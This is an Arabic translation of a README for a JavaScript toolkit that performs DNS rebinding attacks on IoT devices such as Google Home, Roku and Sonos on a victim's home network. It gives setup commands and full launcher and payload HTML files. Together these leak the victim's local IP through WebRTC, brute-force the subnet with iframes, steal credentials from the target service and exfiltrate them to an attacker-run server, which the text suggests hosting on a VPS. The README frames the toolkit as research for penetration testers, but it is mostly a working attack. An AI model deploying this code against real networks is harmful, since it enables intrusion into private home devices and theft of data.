
مجموعة أدوات JavaScript أمامية لإنشاء هجمات إعادة ربط DNS.
عرض توضيحي | إشعار أمني | الحمولات المضمنة | الأسئلة الشائعة
إخلاء مسؤولية: هذا البرنامج لأغراض تعليمية فقط. لا ينبغي استخدام هذا البرنامج في أنشطة غير قانونية. المؤلف غير مسؤول عن استخدامه. لا تكن وغدًا.
مجموعة أدوات إعادة ربط DNS هي إطار عمل JavaScript أمامي لتطوير هجمات إعادة ربط DNS ضد المضيفين والخدمات الضعيفة على شبكة المنطقة المحلية (LAN). يمكن استخدامها لاستهداف أجهزة مثل Google Home وRoku ومكبرات الصوت Sonos WiFi وأجهزة توجيه WiFi وأجهزة تنظيم الحرارة "الذكية" وأجهزة إنترنت الأشياء الأخرى. باستخدام هذه المجموعة، يمكن للمهاجم عن بُعد تجاوز جدار الحماية الخاص بجهاز التوجيه والتفاعل مباشرة مع الأجهزة على شبكة منزل الضحية، مما يؤدي إلى تسريب معلومات خاصة وفي بعض الحالات، حتى التحكم في الأجهزة الضعيفة نفسها.
يتطلب الهجوم أن يقوم ضحية على الشبكة المستهدفة ببساطة باتباع رابط، أو عرض إعلان HTML يحتوي على إطار iframe ضار. من هناك، يتم استخدام متصفح ويب الضحية كخادم وكيل للوصول مباشرة إلى المضيفين الآخرين المتصلين بشبكة منزله. هذه الأجهزة والخدمات المستهدفة كانت ستكون غير متاحة للمهاجم من الإنترنت. قد لا يعرف المهاجم عن بُعد ما هي هذه الخدمات، أو ما هي عناوين IP التي تشغلها على شبكة الضحية، لكن مجموعة أدوات إعادة ربط DNS تتعامل مع هذا عن طريق تجربة مئات عناوين IP المحتملة بالقوة الغاشمة.
تحت الغطاء، تستخدم هذه الأداة خادم DNS عام whonow يعمل على rebind.network:53 لتنفيذ هجوم إعادة ربط DNS وخداع متصفح الويب الخاص بالضحية لانتهاك سياسة نفس المصدر. من هناك، تستخدم WebRTC لتسريب عنوان IP الخاص للضحية، مثل 192.168.1.36. تستخدم الأوكتات الثلاثة الأولى من عنوان IP المحلي هذا لتخمين الشبكة الفرعية ثم حقن 256 iframe، من 192.168.1.0-255 لتوصيل حمولة لكل مضيف يمكن أن يكون على الشبكة الفرعية.
يمكن استخدام هذه المجموعة لتطوير ونشر هجمات إعادة ربط DNS الخاصة بك. يتم تضمين العديد من حمولات الهجوم الواقعية في هذه المجموعة في دليل payloads/. تتضمن هذه الحمولات هجمات تسريب معلومات (ومقالب ريكرول) ضد عدد قليل من أجهزة إنترنت الأشياء الشائعة، بما في ذلك منتجات Google Home وRoku.
هذه المجموعة هي نتاج بحث أمني مستقل في هجمات إعادة ربط DNS. يمكنك قراءة المزيد عن ذلك البحث الأصلي هنا.
# استنساخ المستودع
git clone https://github.com/brannondorsey/dns-rebind-toolkit.git
cd dns-rebind-toolkit
# تثبيت التبعيات
npm install
# تشغيل الخادم باستخدام صلاحيات الجذر لتوفير الوصول إلى المنفذ المميز 80
# هذا النص يخدم الملفات من أدلة www/ و /examples و /share و /payloads
sudo node server
بشكل افتراضي، يخدم server.js حمولات تستهدف Google Home وRoku ومكبرات صوت Sonos ومصابيح Phillips Hue وأجهزة Radio Thermostat التي تعمل بخدماتها على المنافذ 8008 و8060 و1400 و80 و80 على التوالي. إذا كان لديك أحد هذه الأجهزة على شبكة منزلك، انتقل إلى http://rebind.network لمفاجأة سارة ;). افتح وحدة التحكم للمطور وشاهد كيف يتم استغلال هذه الخدمات بشكل غير ضار مما يتسبب في سرقة البيانات منها وتسريبها إلى server.js.
توفر هذه المجموعة كائنين JavaScript يمكن استخدامهما معًا لإنشاء هجمات إعادة ربط DNS:
DNSRebindAttack: يُستخدم هذا الكائن لبدء هجوم ضد خدمة ضعيفة تعمل على منفذ معروف. ينتج حمولة واحدة لكل عنوان IP تختار استهدافه. تُستخدم كائنات DNSRebindAttack لإنشاء وإدارة والتواصل مع كائنات DNSRebindNode متعددة. يجب أن تحتوي كل حمولة تم إطلاقها بواسطة DNSRebindAttack على كائن DNSRebindNode.DNSRebindNode: يجب تضمين كائن الفئة الثابتة هذا في كل ملف حمولة HTML. يُستخدم لاستهداف خدمة واحدة تعمل على مضيف واحد. يمكنه التواصل مع كائن DNSRebindAttack الذي أنشأه ولديه وظائف مساعدة لتنفيذ هجوم إعادة ربط DNS (باستخدام DNSRebindNode.rebind(...)) وكذلك تسريب البيانات المكتشفة أثناء الهجوم إلى server.js (DNSRebindNode.exfiltrate(...)).يتم استخدام هذين النصين معًا لتنفيذ هجوم ضد مضيفين غير معروفين على شبكة LAN محمية بجدار حماية. يبدو الهجوم الأساسي كما يلي:
http://example.com/launcher.html. تحتوي launcher.html على مثيل من DNSRebindAttack.http://example.com/launcher.html كإطار iframe. يتسبب هذا في بدء DNSRebindAttack على launcher.html الهجوم.DNSRebindAttack تسريب WebRTC لاكتشاف عنوان IP المحلي لجهاز الضحية (على سبيل المثال 192.168.10.84). يستخدم المهاجم هذه المعلومات لاختيار نطاق من عناوين IP لاستهدافها على شبكة LAN الخاصة بالضحية (على سبيل المثال 192.168.10.0-255).launcher.html بإطلاق هجوم إعادة ربط DNS (باستخدام DNSRebindAttack.attack(...)) ضد نطاق من عناوين IP على الشبكة الفرعية للضحية، مستهدفًا خدمة واحدة (على سبيل المثال واجهة برمجة تطبيقات Google Home REST غير الموثقة المتاحة على المنفذ ).لاحظ، إذا كان لدى المستخدم جهاز Google Home واحد على شبكته بعنوان IP غير معروف وتم إطلاق هجوم ضد الشبكة الفرعية بأكملها 192.168.1.0/24، فسيكون هجوم إعادة ربط DNSRebindNode واحد ناجحًا وسيفشل 254.
يتكون الهجوم من ثلاثة نصوص وملفات منسقة:
DNSRebindAttack (على سبيل المثال launcher.html)payload.html). يتم تضمين هذا الملف في launcher.html بواسطة DNSRebindAttack لكل عنوان IP يتم استهدافه.server.js) لتوصيل الملفات أعلاه وتسريب البيانات إذا لزم الأمر.launcher.htmlفيما يلي مثال لملف إطلاق HTML. يمكنك العثور على المستند الكامل في examples/launcher.html.
<!DOCTYPE html>
<head>
<title>مثال للإطلاق</title>
</head>
<body>
<!-- هذا النص هو تبعية لـ DNSRebindAttack.js ويجب تضمينه -->
<script type="text/javascript" src="/share/js/EventEmitter.js"></script>
<!-- تضمين كائن هجوم إعادة ربط DNS -->
<script type="text/javascript" src="/share/js/DNSRebindAttack.js"></script>
<script type="text/javascript">
// يحتوي DNSRebindAttack على طريقة ثابتة تستخدم WebRTC لتسريب
// عنوان IP الخاص بالمتصفح على الشبكة المحلية. سنستخدم هذا لتخمين
// الشبكة الفرعية للـ LAN. إذا كان عنوان IP المحلي هو 192.168.1.89،
// سنطلق 255 إطار iframe تستهدف جميع عناوين IP من 192.168.1.1-255
DNSRebindAttack.getLocalIPAddress()
.then(ip => launchRebindAttack(ip))
.catch(err => {
console.error(err)
// يبدو أن خدعة تسريب WebRTC الذكية لم تنجح (لا تعمل
// في بعض المتصفحات). لا مشكلة، معظم الشبكات المنزلية هي 192.168.1.1/24
launchRebindAttack('192.168.1.1')
})
function launchRebindAttack(localIp) {
// تحويل 192.168.1.1 إلى مصفوفة من 192.168.1.0 - 192.168.1.255
const first3Octets = localIp.substring(0, localIp.lastIndexOf('.'))
const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)
// الوسيطة الأولى هي اسم المجال لخادم whonow عام الوصول
// (https://github.com/brannondorsey/whonow).
// لدي خادم يعمل على المنفذ 53 من rebind.network يمكنك استخدامه.
// قد لا تعمل الخدمات التي تهاجمها على المنفذ 80 لذلك
// ربما تريد تغيير ذلك أيضًا.
const rebind = new DNSRebindAttack('rebind.network', 80)
// إطلاق هجوم إعادة ربط DNS، مما ينتج 255 إطار iframe تهاجم الخدمة
// على كل مضيف من الشبكة الفرعية (أو هكذا نأمل).
// الوسائط هي:
// 1) عناوين IP المستهدفة
// 2) عنوان IP الذي يعمل عليه خادم Node.js الخاص بك. عادةً 127.0.0.1
// أثناء التطوير، ولكن بعد ذلك عنوان IP العام (وليس اسم المضيف)
// لخادم VPS المستضيف لهذا المستودع في الإنتاج.
// 3) حمولة HTML لتوصيلها إلى هذه الخدمة. يجب أن يحتوي ملف HTML هذا
// على مثيل DNSRebindNode منفذ عليه.
// 4) الفاصل الزمني بالمللي ثانية للانتظار بين كل تضمين iframe جديد.
// إطلاق 100 إطار iframe في نفس الوقت قد يخنق (أو يعطل)
// المتصفح. كلما زادت هذه القيمة، كلما استغرق الهجوم وقتًا أطول،
// لكنه يستهلك موارد أقل.
rebind.attack(ips, '127.0.0.1', 'examples/payload.html', 200)
// rebind.nodes هو أيضًا EventEmitter، فقط هذا يتم إطلاقه باستخدام
// DNSRebindNode.emit(...). هذا يسمح لـ DNSRebindNodes داخل
// iframes بإرسال رسائل مرة أخرى إلى DNSRebindAttack الأصل الذي
// أطلقها. يمكنك تحديد أحداث مخصصة ببساطة عن طريق إصدار
// DNSRebindNode.emit('my-custom-event') ويمكن لمستمع في rebind.nodes
// استقبالها. ومع ذلك، هناك عدد قليل من أسماء الأحداث القياسية التي
// يتم تشغيلها تلقائيًا:
// - begin: يتم تشغيله عند تحميل DNSRebindNode.js. هذا يشير
// إلى أنه تم إطلاق هجوم (أو على الأقل، تم توصيل حمولته)
// ضد عنوان IP.
// - rebind: كانت إعادة ربط DNS ناجحة، يجب أن تكون هذه العقدة الآن
// تتواصل مع الخدمة المستهدفة.
// - exfiltrate: إرسال بيانات JSON مرة أخرى إلى خادم Node.js الخاص بك
// وحفظها داخل مجلد data/.
// بالإضافة إلى ذلك، ستؤدي طريقة DNSRebindNode.destroy() الثابتة
// إلى تشغيل حدث 'destory' وتتسبب في إزالة DNSRebindAttack لإطار iframe.
rebind.nodes.on('begin', (ip) => {
// تم تحميل DNSRebindNode، مهاجمة ip
})
rebind.nodes.on('rebind', (ip) => {
// كانت إعادة الربط ناجحة
console.log('node rebind', ip)
})
rebind.nodes.on('exfiltrate', (ip, data) => {
// تم تسريب بيانات JSON وحفظها في مجلد data/
// على الجهاز البعيد الذي يستضيف server.js
console.log('node exfiltrate', ip, data)
// data = {
// "username": "crashOverride",
// "password": "hacktheplanet!",
// }
})
}
</script>
</body>
</html>
payload.htmlفيما يلي مثال لملف حمولة HTML. يمكنك العثور على المستند الكامل في examples/payload.html.
<!DOCTYPE html>
<html>
<head>
<title>مثال للحمولة</title>
</head>
<body>
<!--
تحميل DNSRebindNode. يتم استخدام هذه الفئة الثابتة لإطلاق هجوم
إعادة الربط والتواصل مع مثيل DNSRebindAttack في example-launcher.html
-->
<script type="text/javascript" src="/share/js/DNSRebindNode.js"></script>
<script type="text/javascript">
attack()
.then(() => {},
err => {
// حدث خطأ في وقت ما أثناء الهجوم
console.error(err)
DNSRebindNode.emit('fatal', err.message)
}
) // إزالة إطار iframe هذا عن طريق استدعاء destroy()
.then(() => DNSRebindNode.destroy())
// إطلاق الهجوم وإرجاع وعد يتم حله إذا تم العثور على الخدمة المستهدفة
// واستغلالها بشكل صحيح، أو على الأرجح، رفضه لأن هذا المضيف غير موجود،
// أو الخدمة المستهدفة لا تعمل، أو حدث خطأ ما في الاستغلال. تذكر أن هذا
// الهجوم يتم إطلاقه ضد 255+ عنوان IP، لذا معظمها لن ينجح.
async function attack() {
// يحتوي DNSRebindNode على بعض خيارات الجلب الافتراضية التي تحدد أشياء
// مثل عدم التخزين المؤقت، إلخ. يمكنك إعادة استخدامها للراحة، أو تجاهلها
// وإنشاء كائن الخيارات الخاص بك لكل طلب fetch().
// فيما يلي قيمها الافتراضية:
// {
// method: "GET",
// headers: {
// // هذا لا يعمل في جميع المتصفحات. على سبيل المثال،
// // Firefox لا يسمح بذلك.
// "Origin": "", // إلغاء تعيين رأس المصدر
// "Pragma": "no-cache",
// "Cache-Control": "no-cache"
// },
// cache: "no-cache"
// }
const getOptions = DNSRebindNode.fetchOptions()
try {
// في هذا المثال، سنتظاهر بأننا نهاجم بعض الخدمات التي تحتوي
// على ملف /auth.json مع اسم مستخدم/كلمة مرور بنص عادي.
// قبل أن نسرق تلك البيانات، نحتاج أولاً إلى تنفيذ هجوم إعادة الربط.
// على الأرجح، سيقوم خادم الويب الخاص بنا بتخزين نتائج DNS مؤقتًا
// لمضيف هذه الصفحة. DNSRebindNode.rebind(...) يعيد محاولة إعادة
// ربط المضيف بشكل متكرر بعنوان IP جديد مستهدف.
// قد يستغرق هذا أكثر من دقيقة، وإذا لم يكن ناجحًا، يتم رفض الوعد.
const opts = {
// يتم تمرير هذه الخيارات إلى طلب جلب إعادة ربط DNS
fetchOptions: getOptions,
// بشكل افتراضي، يعتبر DNSRebindNode.rebind() ناجحًا
// إذا تلقى استجابة HTTP 200 OK من الخدمة المستهدفة.
// ومع ذلك، يمكنك تحديد أي نوع من سيناريوهات "نجاح إعادة الربط"
// بنفسك باستخدام وظيفة successPredicate(...). تتلقى هذه
// الوظيفة نتيجة جلب كمعامل وتحدد القيمة المرجعة ما إذا كانت
// إعادة الربط ناجحة (أي أنك تتواصل مع الخادم المستهدف).
// هنا نتحقق مما إذا كانت fetchResult قد تم إرسالها بواسطة
// خادمنا الضعيف كمثال.
successPredicate: (fetchResult) => {
return fetchResult.headers.get('Server') == 'Example Vulnerable Server v1.0'
}
}
// انتظار إعادة الربط. قد يستغرق أكثر من دقيقة اعتمادًا على
// إعدادات تخزين DNS المؤقت للضحية أو إذا لم يكن هناك مضيف يستمع
// على الجانب الآخر.
await DNSRebindNode.rebind(`http://${location.host}/auth.json`, opts)
} catch (err) {
// عفوًا، فشلت إعادة الربط. إما أن ذاكرة التخزين المؤقت DNS
// للمتصفح لم يتم مسحها أبدًا، أو على الأرجح، هذه الخدمة لا تعمل
// على المضيف المستهدف. لا بأس... قم بتمرير الرفض لأعلى ودع
// معالج الرفض لـ attack() يتعامل معه.
return Promise.reject(err)
}
try {
// حسنًا، الآن بعد أن أعدنا ربط المضيف ونتواصل
// مع الخدمة المستهدفة، دعنا نحصل على بيانات الاعتماد
const creds = await fetch(`http://${location.host}/auth.json`)
.then(res => res.json())
// {
// "username": "crashOverride",
// "password": "hacktheplanet!",
// }
// console.log(creds)
// رائع، الآن دعنا نسرب بيانات الاعتماد هذه إلى خادم Node.js
// الذي يدير هذا كله. هذا هو آخر شيء نهتم به،
// لذلك سنقوم فقط بإرجاع هذا الوعد كنتيجة لـ attack()
// وندع معالجاتها تتعامل معه.
//
// ملاحظة: يجب أن تكون الوسيطة الثانية لـ exfiltrate(...) قابلة
// للتسلسل إلى JSON.
return DNSRebindNode.exfiltrate('auth-example', creds)
} catch (err) {
return Promise.reject(err)
}
}
</script>
</body>
</html>
server.jsيُستخدم هذا البرنامج النصي لتوصيل ملفي launcher.html و payload.html، بالإضافة إلى استقبال وحفظ البيانات المسربة من DNSRebindNode إلى مجلد data/. للتطوير، عادةً ما أقوم بتشغيل هذا الخادم على localhost وأوجه DNSRebindAttack.attack(...) نحو 127.0.0.1. للإنتاج، أقوم بتشغيل الخادم على خادم سحابي VPS وأوجه DNSRebindAttack.attack(...) إلى عنوان IP العام الخاص به.
# تشغيل بصلاحيات المسؤول لفتح المنفذ 80
sudo node server
usage: server [-h] [-v] [-p PORT]
خادم مجموعة أدوات إعادة ربط DNS
الوسائط الاختيارية:
-h, --help عرض رسالة المساعدة هذه والخروج.
-v, --version عرض رقم إصدار البرنامج والخروج.
-p PORT, --port PORT المنافذ التي سيتم ربط الخوادم بها. قد تتضمن
عدة منافذ مثل: --port 80 --port 1337 (الافتراضي: -p 80
-p 8008 -p 8060 -p 1337)
لقد قمت بتضمين مثال لخادم ضعيف في examples/vulnerable-server.js. يجب تشغيل هذه الخدمة الضعيفة من جهاز آخر على شبكتك، لأن منفذها يجب أن يتطابق مع نفس منفذ server.js. لتشغيل هذا الهجوم النموذجي بنفسك، قم بما يلي:
# استنساخ المستودع
git clone https://github.com/brannondorsey/dns-rebind-toolkit
cd dns-rebind-toolkit
# تشغيل الخادم الضعيف
node examples/vulnerable-server
# ...
# الخادم الضعيف يستمع على 3000
node server --port 3000
الآن، انتقل بمتصفحك إلى http://localhost:3000/launcher.html وافتح وحدة تحكم المطور. انتظر دقيقة أو دقيقتين، إذا نجح الهجوم يجب أن ترى بعض بيانات الاعتماد التي تم تفريغها من الخادم الضعيف الذي يعمل على الكمبيوتر الثانوي.
تحقق من أدلة examples/ و payloads/ لمزيد من الأمثلة.
server.js: خادم مجموعة أدوات إعادة ربط DNSpayloads/: عدة ملفات حمولة HTML مصممة يدويًا لاستهداف عدد قليل من أجهزة إنترنت الأشياء الضعيفة. يتضمن هجمات ضد Google Home و Roku و Radio Thermostat في الوقت الحالي. أحب أن أرى المزيد من الحمولات تضاف إلى هذا المستودع في المستقبل (الطلبات مرحب بها!)examples/: ملفات أمثلة للاستخدام.data/: الدليل حيث يتم حفظ البيانات المسربة بواسطة DNSRebindNode.exfiltrate(...).share/: دليل ملفات JavaScript المشتركة بين ملفات HTML متعددة في examples/ و payload/.تم تطوير هذه المجموعة لتكون أداة مفيدة للباحثين ومختبري الاختراق. إذا كنت ترغب في رؤية بعض الأبحاث التي أدت إلى إنشائها، تحقق من هذا المنشور. إذا كتبت حمولة لخدمة أخرى، فكر في تقديم طلب سحب (PR) إلى هذا المستودع حتى يستفيد الآخرون من عملك!
8008DNSRebindAttack بتضمين إطار iframe واحد يحتوي على payload.html في صفحة launcher.html. يحتوي كل إطار iframe على كائن DNSRebindNode واحد ينفذ هجومًا ضد المنفذ 8008 لمضيف واحد محدد في نطاق عناوين IP التي يتم مهاجمتها. تستمر عملية الحقن هذه حتى يتم حقن إطار iframe لكل عنوان IP يتم استهدافه بواسطة الهجوم.payload.html تم حقنه DNSRebindNode لمحاولة هجوم إعادة ربط عن طريق التواصل مع خادم DNS whonow. إذا نجح، يتم انتهاك سياسة نفس المصدر ويمكن لـ payload.html التواصل مع منتج Google Home مباشرة. عادةً ما يتم كتابة payload.html بطريقة تجعله يقوم ببعض استدعاءات واجهة برمجة التطبيقات للجهاز المستهدف وتسريب النتائج إلى server.js الذي يعمل على example.com قبل إنهاء الهجوم وتدمير نفسه.